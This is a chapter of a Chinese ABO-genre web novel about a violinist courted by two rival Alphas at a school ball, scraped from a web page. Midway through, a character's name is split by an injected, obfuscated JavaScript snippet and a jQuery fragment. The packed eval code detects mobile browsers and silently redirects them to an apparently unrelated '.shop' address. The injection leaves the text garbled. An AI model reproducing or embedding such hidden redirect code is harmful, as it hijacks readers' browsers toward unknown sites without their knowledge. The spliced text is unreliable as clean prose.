离开画室之后,郁连枝背着琴盒下了楼,她低头回复着终端的未读消息,以至于一时间没有注意到拐角的人影,熟悉的声音突然响起之际,她脚步不稳地踩空了楼梯。
不远处的年轻男性匆忙走过来想伸手接住她,但有人反应更快,郁连枝的手臂被握住,横过腰身的手骤然施力将她整个提了起来,避免了摔倒的悲剧。
郁连枝下意识往后仰倒,脑袋似乎磕到了什么,她踩住身后人的脚,身体的重心顺势落在上面,紧贴住另一个滚烫的身躯。
“你忘了这个。”散漫的嗓音落在她的耳边,这才叫晕头转向的郁连枝略微清醒过来,她重新站回到旁边的空地上,接过了晏迟手里的曲谱。
郁连枝简单地道了谢:“麻烦你了。”
台阶下方的应洵之围观了全程,他收回手,表情有点冷,眼底的情绪晦暗不明,“你们刚刚一直待在一起?”
“毕竟绘画需要的时间比较久,所以单独相处了一段时间,这没什么不是吗?”晏迟不紧不慢地回答着,神情自若,偏偏后半句被他的低沉声线咬得格外暧昧。
晏迟的语调依旧懒散,却同样说不出的挑衅:“别误会,只是麻烦她当我的模特而已。”
应洵之没有理会,他盯着郁连枝,看清了她脖子上的蓝宝石项链,是晏迟曾经亲手设计的款式。
同先前的香水一样,都是叫人厌烦的存在。
他看得出这家伙别有所图。
晏迟察觉到应洵之目光里的不甘愤懑,却并没有后退拉开与郁连枝的距离,嘴角反倒带起了隐约的弧度,他当然不会让步。
Alpha之间敌视的氛围弥漫得无声无息,并没有被郁连枝留意到,她走下楼梯招呼着意外遇见的舍友,准备跟应洵之一道回去。
郁连枝更关心午间那个荒谬的梦,大概是最近的事情实在太多,她太累了所以才会莫名其妙做这样的梦,又或许也有受到身边各种恋爱传闻影响的缘故。
埃斯顿的AO占比更多,关于情热期与匹配度的消息几乎随处可见,原本应当和她没什么关系,可最近不知道为什么,那些Alpha和Omega接二连三地开始跟她一个没有腺体的Beta告白。
郁连枝基本都拒绝了,她目前对恋爱没什么兴趣。
今日午后的梦境太混乱,连带着到了晚上她也睡得不怎么安稳。
永无止境的黑夜好像永远也不会过去,铺天盖地的阴影蒙蔽了惯常依赖的视觉,她只能伸长了手去试探判断。
指尖停在了空中,转向细微的颤动,郁连枝能感觉到后颈被落下暧昧的咬痕。
阴影中的目光充盈着粘稠的爱意,宛若下一秒就要将郁连枝吞吃入腹,越过光怪陆离的幻梦来到现实,又或者“它”本就存在。
一直在她的身边。
月光透过窗户在地面绘出了明亮的白线,郁连枝注视着地上的光线,视线紧接着追寻而去,她看见了那个被笼罩在黑暗里的身影,那一刻她甚至混淆了现实与梦境的概念。
仿佛梦里的一切当真变作了现实,并且一直在注视着她。
然后是更浓重的阴影与困倦。
醒来后郁连枝已经记不太清梦的具体内容,她直觉哪里不对,可又说不上来,没过几天便将这件事抛到了脑后。
她当然不会怀疑那些梦境是否和身边人存在关联。
毕竟那些Alpha展露在她眼前的一直是友好、温和的形象。
而不是克制着渴望的觊觎。
——
埃斯顿举办传统社交活动的当天,郁连枝早早来到了大厅二楼的化妆间。
表演席的学生要提前换上统一服饰,再搭配合适的妆容,正式开始前同样还有很多准备工作,AI负责保障大部分设备的正常运行,而乐器需要乐手亲自确认情况。
郁连枝穿着款式简约的白色礼裙,应着身上饰品尽量不要过多的要求,她只戴了一条项链,是晏迟昨天送她的礼物,他说希望她能在舞会上戴着。
这阵子给晏迟当模特,郁连枝收到的礼物多到寝室几乎都快堆不下,他设计的这些珠宝都是限量发行的天价,随便往网上一挂都能炒个至少十几倍。
虽然郁连枝不缺首饰,但她想到这是自己身为模特另外赚到的成果,索性当成小费收下了。
艾琳拉举着摄影机,镜头的焦点对准了摆好谱子的少女,她招手示意:“阿枝,看我看我!”
热情洋溢的Alpha总是这般开朗的模样,相比大部分用终端进行拍摄的成员,她更喜欢手里切实的设备。
郁连枝闻言配合地侧过身子,持琴的姿态标准大方,气质清冷,哪怕演奏尚未开始,也能轻而易举成为唯一的焦点。
艾琳拉摁下快门的动作都难以避免地停住,大概视觉欣赏永远是人类对于美的本能,以至于她第一反应不是抓拍,而是同旁人一样入迷地望着。
她都能想象到,那帮向来奉行利益至上的家伙们会怎样费尽心思绕到少女身边,只是为了一瞬的注目。
玉白的手熟练地拉动琴弓,轻快的音色跃动在指尖,郁连枝专注望着手上的提琴,全身心地投入到了舞会开场前的最后一次排演之中。
大厅的人渐渐多了起来,舞会的场地是一栋单独的大楼,整体的构造与设计参考了首都最大的宴会中心,总共有五层,配备的人工智能负责放行和检验工作。
除了本校生,少部分外校学生也会收到邀请。
舒缓的古典乐曲填补着空缺的氛围,笑语欢声流淌而过,来往的身影与同伴热络地交谈着,偶尔抬眼对上心仪人选的目光,便会敏锐地抓住时机进一步朝彼此靠近。
大部分年轻男女的目光似乎都有意无意地落向了另一边的乐团,准确来说,是位于第二排最左侧的那位小提琴手。
她安静地望着提琴的方向,侧脸被遮挡,叫人第一眼留意到的是乌黑的发与眉睫,肤色冷白,每一笔都是绝妙的勾勒,烙印成极具张力的视觉碰撞。
长裙的尾摆铺展下来,层层堆叠至地面缀成翻涌的海浪,绵延到少女的脚边。
柔软的长发滑过白皙的肌肤,仿若衬托着玉石的华美绸缎,一切都与她极为相配,少女微微偏过头之际,那张冷淡精致的漂亮面孔终于显露在了眼帘之内。
彻底侵占全部的关注。
不少学生已经蠢蠢欲动起来,郁连枝所在的乐团只负责演奏开场,还有二十几分钟就会交接新的乐团。
那时候她就会走下台阶,也许会同朋友热络地聊着,又或者接受旁人的邀请。
……不知道哪个幸运儿会得到她的青睐。
郁连枝尚且不了解底下复杂的心思,依照之前的惯例,乐团结束表演后,会有学生为自己喜欢的乐手送花,以示祝贺与支持。
这是她进入埃斯顿学院的第一次表演,郁连枝觉得这个环节跟自己大概没什么关系,现实却出现了偏差,表演结束后,她差点没被成堆的花束淹没。
纷至沓来的还有热烈的共舞邀请,郁连枝细心护住手里的乐器,道谢的同时拒绝了他们的请求,她艰难地踩上台阶准备离场,余光瞥见一只手递了过来。
郁连枝移动目光,看清了年轻男性的俊美面容——是应
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127223|196137||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
洵之。
他穿着量身定制的黑色正装,深灰的胸针别在胸前,是尤为贴近心脏的位置。
任何一个旁观者看清少女的眼睛颜色,再留意到应洵之望向她的眼神,便能察觉到藏在他眼底的浓郁情感。
应洵之背着与身上正装格格不入的琴盒,伸手的姿态格外自然,他提醒:“你的裙子,小心摔倒。”
礼裙的尾摆很长,坐着还好,站起来的时候可能一不留神就会踩到,郁连枝搭住他的手,缓慢地走下楼梯,接着才将小提琴装回了琴盒。
乐器没磕到,郁连枝松了口气,她没想到应洵之会这么贴心地帮忙把琴盒带过来,要不然她穿着这个裙子还真不好去拿:“谢了,不过你居然没被缠住?”
按理来说,别的学生肯定不会放过这个讨好他的机会才对。
“我提前走了。”应洵之平淡地说着,事实上他就算不感兴趣直接离开簇拥的人群,也没有人敢发表什么意见。
郁连枝看应洵之还背着琴盒,一副要帮她带回去的样子,于是拉了下他的袖子,“琴盒给我吧,我等会再放到寄存柜。”
应洵之低头瞧着她扯住衣袖的手,不清楚在想些什么,最后还是没有过多干涉郁连枝的决定,将琴盒还给了她。
郁连枝拎着裙摆,身侧的应洵之也伸手帮她提起些微,保持着妥当的绅士分寸,跟着她去放好了东西。
礼裙有点麻烦,郁连枝懒得再走动,干脆在身边的环形沙发坐下了。宴会厅的中心是舞池,两侧分区的沙发有点像酒吧的卡座设计,学生们零零散散地落座着。
“你不去跳舞吗?”郁连枝铺平礼裙的轻纱,她奇怪应洵之怎么还陪着自己,难不成他现在还没有心仪的Omega,“今天可是个感情升温的好机会。”
应洵之反而把问题抛了回来:“你觉得我应该邀请谁?”
“那要看你对哪个Omega有好感了,你也没跟我提过。”郁连枝其实还记得很久之前的那个夜晚她随口聊起的话题,毕竟当时实在太过诧异他会在匹配度与感情之间选择后者。
应洵之这样的性格不会无缘无故给出这样的结果,估计他早就有了喜欢的人。
郁连枝感慨不已,应洵之这种顶尖家世的继承人居然会玩暗恋。
“我喜欢的人不是Omega。”应洵之的语气没有丝毫的起伏变动,他只是注视着还没意识到自己今晚有多惹眼的少女,“而且她看起来没有跳舞的打算。”
“啊,这样吗。”迟钝的郁连枝并未品味到不同寻常的地方,她还挺好奇应洵之喜欢的是谁,而且那个人竟然不是Omega。
难怪当初她随便问的那个问题,他会选择个人情感。
“那你呢?”应洵之偏头望向她,仿佛格外的不经意,却明明相当在意郁连枝的答案,“如果表演的礼裙是更加简便的类型,你会主动邀请谁吗?”
郁连枝托着下巴,她懒散地阖着眼,美丽皮囊之下是再多珠宝也堆砌不出的动人,她只要安静停留在视线之中,就会叫人倾注所有的偏爱。
她轻笑:“应该没有。”
应洵之注视着她,没由来地想知道更多:“假如说我邀请你,你会拒绝吗?”
郁连枝不明白他为什么觉得自己会拒绝,明明他们相处得一直还算不错,她困惑地歪了下头,语调不解:“我为什么会拒绝你?朋友邀请我的话,我肯定会答应啊。”
朋友。应洵之捕捉到这个字眼,刚得到安抚的心情再度烦闷起来,他知道不可能一下进展太快。
……可至少他还可以借朋友的身份粉饰自己的好感。